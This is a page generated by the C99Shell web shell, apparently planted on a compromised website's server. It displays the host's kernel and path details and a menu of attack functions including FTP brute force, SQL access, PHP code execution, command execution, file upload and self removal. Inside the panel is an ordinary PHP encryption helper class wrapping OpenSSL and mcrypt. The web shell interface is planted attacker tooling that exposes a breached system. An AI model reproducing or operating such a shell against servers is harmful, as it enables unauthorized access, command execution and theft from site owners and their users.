!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/include/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ciphereres.php (2.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class RunnerCiphererES
{    
    var 
$key '';
    var 
$INITIALISATION_VECTOR '';
    var 
$mcript_algorithm null;
    var 
$SSLMethod null;
    var 
$mcryptModule null;
    var 
$max_key_size null;
    var 
$useSSL false;

    function 
openSSL_exist()
    {
        
//return false; // uncomment for test without openssl
        
return function_exists('openssl_encrypt');
    }

    function 
mcrypt_exist()
    {
        
//return false; // uncomment for test without mycript
        
return function_exists('mcrypt_module_open');
    }

    function 
__construct($key
    {
        if ( !
$this->openSSL_exist() && !$this->mcrypt_exist() )
        {
            if ( 
version_compare(phpversion(), '7.1''>=') )
                throw new 
Exception("Install OpenSSL extension");
            else 
                throw new 
Exception("Install OpenSSL or Mcrypt extension");
        }

        if ( !
$this->openSSL_exist() )
        {
            
$this->mcryptModule mcrypt_module_open($this->mcript_algorithm''MCRYPT_MODE_CBC'');            
        }

        
$this->key substr($key0$this->max_key_size);
    }



    
/**
     * Encrypt
     * Encrypt string
     * @param {string} plain value
     * @return {string} encrypted value
     */
    
function Encrypt($source) {
        
$result '';
        if ( 
$source != '' )
        {
            if ( 
$this->openSSL_exist() )            
            {
                if (
strlen($source) % $this->max_key_size)
                {
                    
$source str_pad($sourcestrlen($source) + $this->max_key_size strlen($source) % $this->max_key_size"\0");
                }
                
$result bin2hex(openssl_encrypt($source$this->SSLMethod$this->keyOPENSSL_RAW_DATA OPENSSL_NO_PADDING$this->INITIALISATION_VECTOR));                
            }
            else if ( 
mcrypt_generic_init($this->mcryptModule$this->key$this->INITIALISATION_VECTOR) != -)
            {
                
$result bin2hex(mcrypt_generic($this->mcryptModule$source));
            }
            
        }

        return 
$result;
    }
    
    
/**
     * Decrypt
     * Decrypt ecncrypted string
     * @param {string} encrypted value
     * @return {string} decrypted value
     */
    
function Decrypt($source) {
        if (!
is_string($source) || strlen($source) == || strlen($source) % || preg_match ("/[^0-9a-f]/"$source) == 1)
            return 
$source;
        
        
$result '';

        if ( 
$this->openSSL_exist() )
        {            
            
$result openssl_decrypt(hex2bin($source), $this->SSLMethod$this->keyOPENSSL_RAW_DATA OPENSSL_NO_PADDING$this->INITIALISATION_VECTOR);
        }
        else if ( 
mcrypt_generic_init($this->mcryptModule$this->key$this->INITIALISATION_VECTOR) != -1)
        {
            
$result mdecrypt_generic($this->mcryptModulehex2bin($source));
        }

        
$result str_replace("\0"''$result);
                
        return 
$result;
    }
    
}


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0018 ]--